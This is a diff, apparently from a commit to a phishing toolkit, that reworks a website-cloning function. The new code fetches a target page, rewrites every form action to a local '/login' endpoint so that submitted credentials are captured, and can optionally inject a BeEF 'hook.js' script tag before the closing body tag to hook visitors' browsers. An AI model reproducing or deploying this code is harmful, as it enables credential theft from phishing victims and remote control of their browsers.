3
3
import os
4
4
5
5
# CLONING FUNCTIONS --------------------------------------------------------------------------------------------
6
- def clone (url , user_agent ):
6
+ def clone (url , user_agent , beef ):
7
7
try :
8
8
u = url .replace ('://' , '-' )
9
- q = 'templates/fake/{}' .format (u )
9
+ q = 'templates/fake/{}/{} ' .format (user_agent , u )
10
10
os .makedirs (q , exist_ok = True )
11
- #os.system('wget -H -N -k -p -l 2 -nd -P {} --no-check-certificate -U "{}" {}'.format(q, user_agent, url))
12
- os .system ('wget --no-check-certificate -O {}/index.html -c -k -U "{}" {}' .format (q , user_agent , url ))
11
+ temp_ind_path = 'templates/fake/{}/{}/index.html' .format (user_agent , u )
12
+ headers = {'User-Agent' : user_agent }
13
+ r = requests .get (url , headers = headers )
14
+ html = r .text
15
+ old_regular = re .findall (r'action="([^ >"]*)"' ,html )
16
+ new_regular = '/login'
17
+ for r in old_regular :
18
+ print (r )
19
+ html = html .replace (r , new_regular )
20
+ if beef == 'yes' :
21
+ inject = '<script src=":3000/hook.js" type="text/javascript"></script></body>'
22
+ html = html .replace ("</body>" , inject )
23
+ new_html = open (temp_ind_path , 'w' )
24
+ new_html .write (html .encode ('ascii' , 'ignore' ).decode ('ascii' ))
25
+ new_html .close ()
13
26
except :
14
27
pass
15
28
#--------------------------------------------------------------------------------------------------------------------
0 commit comments